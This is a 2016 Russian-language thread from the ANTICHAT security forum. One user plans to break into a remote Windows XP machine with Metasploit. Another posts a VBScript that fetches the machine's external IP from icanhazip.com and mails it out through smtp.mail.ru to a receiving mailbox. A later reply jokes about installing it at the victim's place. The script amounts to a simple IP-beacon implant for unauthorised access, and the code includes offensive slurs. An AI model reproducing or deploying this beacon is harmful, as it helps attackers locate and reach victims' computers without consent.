ANTICHAT — форум по информационной безопасности, OSINT и технологиям
ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию.
Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club,
и теперь снова доступен на новом адресе —
forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
 |
|
22.12.2016, 21:43
|
|
Guest
Сообщений: n/a
Провел на форуме:
15133
Репутация:
3
|
|
Можно, вот подсказка
Код:
Code:
Dim o
Dim res
Set o = CreateObject("Microsoft.XMLHTTP")
o.open "GET", "http://icanhazip.com", False
o.send
res = o.responseText
Msgbox res
|
|
|
|
22.12.2016, 21:44
|
|
Guest
Сообщений: n/a
Провел на форуме:
6373
Репутация:
0
|
|
|
|
|
|
22.12.2016, 21:47
|
|
Guest
Сообщений: n/a
Провел на форуме:
15133
Репутация:
3
|
|
смотря как у тебя инет подключен, я так понял без роутера
|
|
|
|
22.12.2016, 21:48
|
|
Guest
Сообщений: n/a
Провел на форуме:
6373
Репутация:
0
|
|
ComradKraken: Спасибо за подсказку Я ценю Ваш юмор (опытного пользователя ,программиста ),только для меня это набор символов и цифр. Я буду с месяц разбираться куда что вставлятьи писать .
|
|
|
|
22.12.2016, 21:49
|
|
Guest
Сообщений: n/a
Провел на форуме:
15133
Репутация:
3
|
|
чем подключаться собрался? сначала проверь открыт ли нужный порт извне, например через 2ip.ru
|
|
|
|
22.12.2016, 22:02
|
|
Guest
Сообщений: n/a
Провел на форуме:
6373
Репутация:
0
|
|
ComradKraken:Подключатся я буду к удаленному компьютеру с установленной windows xp с открытыми портами 135,443 (что обычно открыто) с помощь metalsploit .
|
|
|
|
22.12.2016, 22:11
|
|
Guest
Сообщений: n/a
Провел на форуме:
15133
Репутация:
3
|
|
Код:
Code:
Dim o
Dim res
Set o = CreateObject("Microsoft.XMLHTTP")
o.open "GET", "http://icanhazip.com", False
o.send
res = o.responseText
Dim RemoteSenderBoxName : RemoteSenderBoxName = "fuckUSA@mail.ru" ' сюда адрес ящика который ты завёл для отправки
Dim RemoteSenderBoxPasswd : RemoteSenderBoxPasswd = "obamka-pidorg" ' сюда пароль ящика который ты завёл для отправки
Dim MailReceiver : MailReceiver = "russianhackersdidit@mail.ru" ' сюда адрес почты куда получать ип собрался
Set emailObj = CreateObject("CDO.Message")
Set emailConfig = emailObj.Configuration
'Set emailConfig = CreateObject("CDO.Configuration")
emailConfig.Fields.Item("http://schemas.microsoft.com/cdo/configuration/smtpserver") = "smtp.mail.ru"
emailConfig.Fields.Item("http://schemas.microsoft.com/cdo/configuration/smtpserverport") = 465
emailConfig.Fields.Item("http://schemas.microsoft.com/cdo/configuration/sendusing")= 2
emailConfig.Fields.Item("http://schemas.microsoft.com/cdo/configuration/smtpauthenticate") = 1
emailConfig.Fields.Item("http://schemas.microsoft.com/cdo/configuration/smtpusessl") = 1
emailConfig.Fields.Item("http://schemas.microsoft.com/cdo/configuration/smtpconnectiontimeout") = 120
emailConfig.Fields.Item("http://schemas.microsoft.com/cdo/configuration/sendusername") = RemoteSenderBoxName
emailConfig.Fields.Item("http://schemas.microsoft.com/cdo/configuration/sendpassword") = RemoteSenderBoxPasswd
emailObj.From = RemoteSenderBoxName
emailObj.To = MailReceiver
emailObj.Subject = "ip addr"
emailObj.TextBody = res
emailConfig.Fields.Update
emailObj.Send
этот vbs вернет внешний IP |
|
|
|
22.12.2016, 22:37
|
|
Guest
Сообщений: n/a
Провел на форуме:
6373
Репутация:
0
|
|
ComradKraken: Меня тут бл... обрадовали , у меня оказывается серый ip адрес ,как мне сказали ...к удаленной машине по данному айпи адресу не подключишься ... Это реально так ???? Или мой юный и доверчивый мозг на еб....
|
|
|
|
22.12.2016, 22:43
|
|
Guest
Сообщений: n/a
Провел на форуме:
15133
Репутация:
3
|
|
Сообщение от kurt135
kurt135 said:
↑
ComradKraken
: Подожди
ну при вводе команды ipconfig я вижу ip адрес который определяется в
http://speed-tester.info/
..
Или к нему все равно нереально подключится из глобальной сети ? "серый" ты бы не увидел на этом ресурсе speed-tester,
а что насчет той удаленной машины, проверь второй скрипт что я скинул , он вернет "белый" IP
ЗЫ: я так понял ты через мобильный инет сидишь?
|
|
|
|
22.12.2016, 22:45
|
|
Новичок
Регистрация: 14.05.2010
Сообщений: 0
Провел на форуме:
5640
Репутация:
0
|
|
Сообщение от ComradKraken
ComradKraken said:
↑
проверь второй скрипт что я скинул Вот у вас терпение!
Осталось только выехать на место и настроить скрипт на месте у потерпевшего.
|
|
|
|
|
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|
Линейный вид
